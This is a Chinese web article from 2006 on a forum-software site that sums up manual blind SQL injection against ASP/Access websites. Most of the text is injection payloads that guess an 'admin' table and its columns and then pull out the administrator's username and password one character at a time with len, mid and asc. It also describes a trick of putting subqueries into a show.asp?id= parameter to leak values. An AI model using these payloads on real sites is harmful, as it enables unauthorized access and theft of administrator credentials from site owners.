动网论坛,站长建站首选,国内使用量最多的论坛软件 动网论坛官方技术讨论区 站长工具 申请属于您自己的免费论坛
首页 | 新闻资讯 | 网站运营 | 网络编程 | 数据库 | 服务器 | 网页设计 | 图像媒体 | 网络应用 | 搜索优化 | 资源下载 | 动网主机 | DVBOX
    本站内  互联网 ASP论坛  ASP.Net论坛  PHP论坛
   网络应用 → 阅读文章

 Injection的猜测技术的一些相关总结

作者:无从考证 来源:中国站长学院 
阅读 数 653 人次 , 2006-2-15 18:50:00 

学习的最好方法就是定期总结自己的学习笔记:)开始吧

通过1=1和1=2来简单检测页面的脚本安全性这里已经没必要再说了

在前阵子发的本周日程中列入了以下的计划 现在把他完善

先说我们通过
0<>(select count(*) from admin)
这里的admin就是我们猜测的存放管理员信息的表 现在假设猜测到了
0<>(select count(*) from admin where username<>'')
猜测admin表里用来存放用户名的列叫username
0<>(select count(*) from admin where password<>'')
猜测admin表里用来存放密码的列叫password
假设已经对了 此时我们就可以在页面直接用
and 'EvilOctal''=(select username from admin where username='EvilOctal')
猜解管理员的名字 其实不用猜测 因为一般名字都可以在文章或者软件的添加者那里找到
仔细看就可以发现我们每句都只有一个未知参数 我都用黑体表示了

<1>可以找到管理员用户名的情况下进行直接猜解密码
密码长度我们猜测是5位
and 'EvilOctal'=(select username from admin where len(password)=5)
密码的前5位是admin
and 'EvilOctal'=(select username from admin where left(password,5)='admin')

<2>无法得到管理员用户名的情况下用id进行猜解而逐位猜测用户名
已经无法在页面找到管理员的名字了 那就这样
and 1=(select min(id) from admin)
假设对了我们就知道管理员的最小id是1 那就猜测名字长度
and 1=(select min(id) from admin where len(username)=9)
管理员的名字是9位的 那每一位是什么呢 我们猜测管理员用户名左边开始第二位是v
and 1=(select min(id) from admin where mid(username,2,1)='v')
假设全部猜测出来 EvilOctal 现在来看密码
and 1=(select min(id) from admin where len(password)>7)
以上是猜测密码为数范围 如果确定为数就可以直接猜测 以下两句
and 'EvilOctal'=(select username from admin where left(password,5)='admin')
上面是说猜测密码的前5位是admin 下面的则说密码的第5位是n
and 1=(select min(id) from admin where mid(password,5,1)='n')

<3>管理员密码中文的情况下使用ascii转换进行猜测
至于转换ascii猜测的方法
取得id后可以这样使用你所取得的id 这里假设是1
那么 用户名长度就应该这样猜
and 1=(select id from admin where len(admin)=9)
然后猜测用户名转换ascii句子自己对比 下面的意思都是猜测管理员名左边第二位是t 前一句比较常用
and 1=(select id from admin where asc(mid(admin,2,1))=116)
and 1=(select min(id) from admin where mid(username,2,1)='t')
至于密码 看 以下两句都是说猜测密码的第2位是t
and 1=(select id from admin where asc(mid(password,2,1))=116)
and 1=(select min(id) from admin where mid(password,2,1)='t')

以上就是我的一点小总结 希望能在注入中有所提高......

下面是论坛高手oldduck说的一个新思路的小方法
也许很多高手都已经想到了 甚至熟练掌握了 我比较菜 当新东西发了
高手oldduck的话:
找到一个页面可以显示新闻的漏洞页面,比如show.asp?id=123
然后用
show.asp?id=(select top 1 len(password) from admin)
假设有新闻成功显示
字段库名都是正确的情况下 到列表页面或者搜索页面找到这则文章看链接
假设是show.asp?id=6 那么长度就是6

然后猜1到6位的密码
show.asp?id=(select top 1 asc(mid(password,1,1)) from admin)
用同样的方法找到链接 看id值 再从ascii表中查出字符

如果显示找不到新闻的话 可以用
show.asp?id=(select top 1 asc(mid(password,1,1)) from admin)-(-10)
这样来加一个基数 或者减一个数
......

方法真是coolB了   
 
 收藏本文  打印本文  论坛讨论  关闭窗口
· 上一篇:Win2K中的信息网络安全技术
· 下一篇:巧妙利用系统进程手工杀毒
· 局域网优化的六大秘技
· 七个绝招应对网上银行盗贼
· 网络安全讲座之三:防火墙技术(6)
· 网络安全讲座之:防火墙技术(1)
· 104种木马的清除方法(6)


关于本站 | 联系我们 | 业务合作 | 客户案例 | 诚聘英才 | 广告合作 | 收藏本站
海口动网先锋网络科技有限公司版权所有
Copyright © 2000 - 2006 Cndw.Com
中华人民共和国电信与信息服务业务经营许可证编号 琼 ICP 020077